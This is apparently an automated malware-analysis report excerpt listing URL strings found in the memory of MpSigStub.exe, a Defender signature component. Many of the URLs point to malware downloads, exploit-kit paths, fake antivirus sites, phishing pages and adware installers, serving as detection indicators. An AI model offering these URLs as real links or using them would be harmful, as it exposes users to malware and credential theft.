        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://dialup.carpediem.fr/perl/countdialupinter.pl?x
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://dialup.carpediem.fr/perl/dialup.pl
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://dialxs.nl
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://dialxs.nl/install/
        Source: MpSigStub.exe, 00000023.00000003.18342870635.0000015B1AB89000.00000004.00000001.sdmpString found in binary or memory: http://dialxs.nl/install/cf
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://dickswingsgrill.com?
        Source: MpSigStub.exe, 00000023.00000003.18331238413.0000015B1AAC2000.00000004.00000001.sdmpString found in binary or memory: http://dintandnesin.ru/april/view.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://directplugin.com/dialers/
        Source: MpSigStub.exe, 00000023.00000003.18339366931.0000015B1C174000.00000004.00000001.sdmpString found in binary or memory: http://directplugin.com/dialers/x
        Source: MpSigStub.exe, 00000023.00000003.18402123411.0000015B1B2B1000.00000004.00000001.sdmpString found in binary or memory: http://discoverberts.com.au/dav//assets/checkapp1.php
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://discovirtual.terra.com.br/vdmain.shtml
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://disk.karel
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://disk.karelia.pro/2adftYz/392.png
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://dist.checkin100.com/command?projectID=%s&affiliateID=%s&campaignID=%s&application=%s&v=9
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://dl.%s/get/?pin=%s&lnd=%s
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpString found in binary or memory: http://dl.360safe.com/gf/360ini.cab
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://dl.dqwjnewkwefewamail.com/
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://dl.dropbox.com/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://dl.dropbox.com/u/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://dl.gencloudex.com/spd/shopp/sense9.exe_a
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://dl.gencloudex.com/spd/shopp/sense9.exe_ax
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://dl.pipi.cn/pipi_dae_
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://dl.static.iqiyi.com/hz/IQIYIsetup_senxing
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://dl.wizzuniquify.com/download/1/wizzuninstallmodule.exe
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://dld.baseflash.com/ProtectbaseflashSetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://dld.baseflash.com/ProtectbaseflashSetup.exex
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://dld.baseflash.com/dotnetfx
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmpString found in binary or memory: http://dld.rewinup.com/dotnetfx
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://dmww.dmcast.com/script/update.asp?version=%s
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://dmzeventsbali.com/images/usps/usps/label.htm
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://dns.cyberium.cc/script/
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://do.crionn.com/ola.php
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://docs.atu.ngr.mybluehost.me/
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://docs.atu.ngr.mybluehost.me/presentation.dllregsvr32
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://docs.herobo.com
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://doctor-antivirus.com/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://doctor-antivirus.com/presalepage/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://doctorantivirus2008a.com/support.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://dokument-9827323724423823.ru/KYSTBANEN.exe
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://dokument-9827323724423823.ru/Telefoncomputernes9.exe
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://dolfy.sedonahyperbarics.com:8080/keyboard_shortcut.js
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://domainserver.co.kr
        Source: MpSigStub.exe, 00000023.00000003.18293985930.0000015B1C0F1000.00000004.00000001.sdmpString found in binary or memory: http://down.anhuiry.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://down.emoney.cn/wl
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://down.firmsoar.com/Fastaide_1160.exe
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://down.kuwo.cn/mbox/kuwo_jm634.exe
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://down.namepics.info/install.php?name=
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://down2.uc.cn/pcbrowser/down.php?pid=4396
        Source: MpSigStub.exe, 00000023.00000003.18341814408.0000015B1C2D4000.00000004.00000001.sdmpString found in binary or memory: http://download-n-save.com
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://download-the-files.com/tplc/cdc
        Source: MpSigStub.exe, 00000023.00000003.18350289745.0000015B1B712000.00000004.00000001.sdmpString found in binary or memory: http://download.%s.com%s&u=%u&advid=00000000&p=%u
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://download.%s.com/
        Source: MpSigStub.exe, 00000023.00000003.18300098662.0000015B1C3F4000.00000004.00000001.sdmpString found in binary or memory: http://download.%s.com/124.php?&advid=00000
        Source: MpSigStub.exe, 00000023.00000003.18300098662.0000015B1C3F4000.00000004.00000001.sdmpString found in binary or memory: http://download.%s.com/madownload.php?&advid=00000000&u=%u&p=%u&lang=______
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://download.contextplus.net/shared/Msvcp60Installer.exe
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://download.cpudln.com
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://download.driverupdate.net/DriverUpdate-setup.msi.bz2x
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://download.enativ.com/nativ_v4.exe
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://download.enet.com.cn/search.php?keyword=%s
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://download.kaobeitu.com/kaobeitu/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://download.m
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://download.phpnuke.org/installers/extra_software/coupish/coupish-x
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://download.powercreator
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://download.seznam.cz/update
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://download.softobase.com/ru/
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://download.softobase.com/ru/xL
        Source: MpSigStub.exe, 00000023.00000003.18300098662.0000015B1C3F4000.00000004.00000001.sdmpString found in binary or memory: http://download.spy-shredder.com/ssdownload.php?&advid=00001322&u=%u&p=%u&lang=________&vs=%u&%s
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://download.websearch.com/Dnl/T_
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://download.websearch.com/Tb
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://download.websearch.com/dnl/T
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://download.zhongsou.com/cdsearch/
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://download.zhongsou.com/msstat/dealip.asp?aa=%s&bb=%s&cc=%s&dd=%s&ee=%d&ff=%ld&gg=%
        Source: MpSigStub.exe, 00000023.00000003.18313512818.0000015B1B346000.00000004.00000001.sdmpString found in binary or memory: http://download.zhongsou.com/routeway/dealsetup.asp?aa=%s&bb=%s&cc=%s&dd=%s
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://download.zjsyawqj.cn/jjbq/setup_jjbq_jjbq03nodkpk_v1.0_silent.exe
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://download1.ihyip.pw/
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://download1.microliteupdate.net/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://download2.mybrowserbar.com/kits/hlp/exthelper.exe
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://downloader.aldtop.com
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://downloadfile.xyz/mine/run.js
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://downloadfilesldr.com/allfile.jpg
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://downloadfilesldr.com/index2.php?adv=141
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://downloadfilesldr.com/index3.php?adv=141
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://downloadfilesldr.com/index4.php?adv=141
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://downloadfilesldr.com/index5.php?adv=141
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://downloads-full.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://downloads.180solutions.com/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://downtown.crstycricri.net/pc/page/set_reg.php?af_code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18286999705.0000015B0817D000.00000004.00000001.sdmpString found in binary or memory: http://downza.cn
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://dr-woelfl.de/invoice-for-you/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://driversearch.space
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://drm.ysbweb.com/v1.aspx?id=65181__asf_license_url_ends_here__
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://droobox.online/luncher.doc
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://dropboxservices.isaihost.com/dropbox/drop/dropbox.html)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://drpuneetchawla.com/cli/adbe/login.html
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://dtrack.secdls.com
        Source: MpSigStub.exe, 00000023.00000003.18342184671.0000015B1C358000.00000004.00000001.sdmpString found in binary or memory: http://dudethisishowwedoitallnightlong.2myip.net
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://dvd2ipad.net/media2
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://dw.mtsou.com/
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://dw.mtsou.com/_
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://dwaplord2018.tk/doc/purchaseorder.doc
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://dx.mastacash.com
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://dxcodec.com/uninstall/
        Source: MpSigStub.exe, 00000023.00000003.18283593829.0000015B1A80D000.00000004.00000001.sdmpString found in binary or memory: http://dz-site.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://e223pg.awardspace.co.uk/up.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://eastman.smritiphotography.in/#ywhvzgdlc0blyxn0bwfulmnvbq==
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ebsuggester.com/redirect-new-logon-alert/redirect.htm
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://economycrown.com/hahdhdhd/sf-express.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://eda.ru/data
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://eduardovolpi.com.br/flipbook/postal/services/parcel)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://educadorfisicoadinis.com.br/ryan/login%20pdf.html)/type/action/s/uri
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://egomam.ru/neworder.doc
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://ekey.sdo.com
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://eleonorepack.cn/myexp/getexe.php?spl=javadmjava/io/bufferedoutputstreamjava/io/fileoutputstre
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://elpctchair00.net/pc/page/set_reg.php?code=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://elsword.com/xb
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://employeeportal.net-login.com/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://en.eazel.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://en.v9.com/
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://en.v9.com/?utm_source=b&utm_medium=
        Source: MpSigStub.exe, 00000023.00000003.18299696915.0000015B1AF24000.00000004.00000001.sdmpString found in binary or memory: http://endresactuarial.com/
        Source: MpSigStub.exe, 00000023.00000003.18325191461.0000015B1BE9F000.00000004.00000001.sdmpString found in binary or memory: http://engine.dmccint.com/common/ProcessDump.exe?v=1.0.3.0x
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://enomioms.club/msw/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://erlivia.ltd
        Source: MpSigStub.exe, 00000023.00000003.18309335590.0000015B1AFA8000.00000004.00000001.sdmpString found in binary or memory: http://ermi.co.zw/ds/2312.gif
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://errors.crossrider.com/utility.gif
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://errors.statsmyapp.com/installer-error.gif?action=wrapper
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://errors.statsmyapp.com/installer-error.gif?action=wrapperxk
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://esiglass.it/glassclass/glass.php
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://esmxc01.top/download.php?file=lv.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://esp1k.myddns.me/
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://estelaraziel.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://etzhb.000webhostapp.com/read.txt
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://eula.mindspark.com
        Source: MpSigStub.exe, 00000023.00000003.18304719860.0000015B1B7EB000.00000004.00000001.sdmpString found in binary or memory: http://eula.mindspark.com/eula/
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://evanstechnology.com
        Source: MpSigStub.exe, 00000023.00000003.18323230598.0000015B1B134000.00000004.00000001.sdmpString found in binary or memory: http://events.bittorrent.com/startConversion
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://everbot.pl/cs/reg.php?id=
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://ewd96h2.sed.macabrepoe.com
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://excelvba.ru/updates/download.php?addin=Parser
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://exe-1.icu/install2.exe
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://expandingdelegation.top/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://experimental.sitesled.com/wind.jpg
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://explorehere.in/info/new-invoice-
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://f0568929.xsph.ru/po/rexifly.php?
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://f0570495.xsph.ru/files/pdf.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://f1visa.info/cd/cd.php?id=%s&ver=g
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://faacebookv.tk/reveal.php
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://facebegen.com/dexport/ajax.php
        Source: MpSigStub.exe, 00000023.00000003.18296359788.0000015B1C251000.00000004.00000001.sdmpString found in binary or memory: http://faithhotelghana.com
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://faneuil-lawsuit.com/xl.png
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://fantastico.globo.com/jornalismo/fant/
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://fast-loads2.name/agreement.php
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://fast-loads2.name/agreement.phpxN
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://fateh.aba.ae/abc.zip
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://fateh.aba.ae/xyzx.zip
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://fbcores.info/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://fechiizonshiteita-taihendayo.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://fechiizonshiteita-taihendayo.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://feed.helperbar.com
        Source: MpSigStub.exe, 00000023.00000003.18319967809.0000015B1BE5C000.00000004.00000001.sdmpString found in binary or memory: http://fei-coder.com/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://feliz2008.land.ru/iexplore.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://fellatioadultfilehost.com/pc/page/set_reg.php?af_num=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://fen0men.info/exp/index.php
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://festival23234.com/flash.php?mode=1
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://fgrss.com/?referrer=c3rob3jhdeblyxn0bwfulmnvbq==
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://fhayazilim.com/wp-admin/
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: http://file.sidetab.co.kr/dst/WallTab_
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://files.getpricefinder.com/install/ie/pricefinderpackage.zip
        Source: MpSigStub.exe, 00000023.00000003.18298177384.0000015B1AD15000.00000004.00000001.sdmpString found in binary or memory: http://finance.yahoo.com/
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://finanzen-netto.de
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://find.verycd.com/folders?cat=movie&kw=%s
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://finder.strangled.net/?pubid=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://fineartconsult.be/gallery/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://firefoxstabs.com/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://firestweb.com/loja/social/1.jpg
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://firestweb.com/loja/social/2.jpg
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://firestweb.com/loja/social/3.jpg
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://fixdoctorsfirst.net/registry/andyfkz.png?bg=sp14
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://flash.chinaren.com/ip/ip.php
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://flashupd.com/mp3/in
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://florida-pawn.com?
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://flow4.6299.cc/ClientAPI/flowtaskAPI.aspx
        Source: MpSigStub.exe, 00000023.00000003.18286537046.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://fmforums.com/wggx991264/
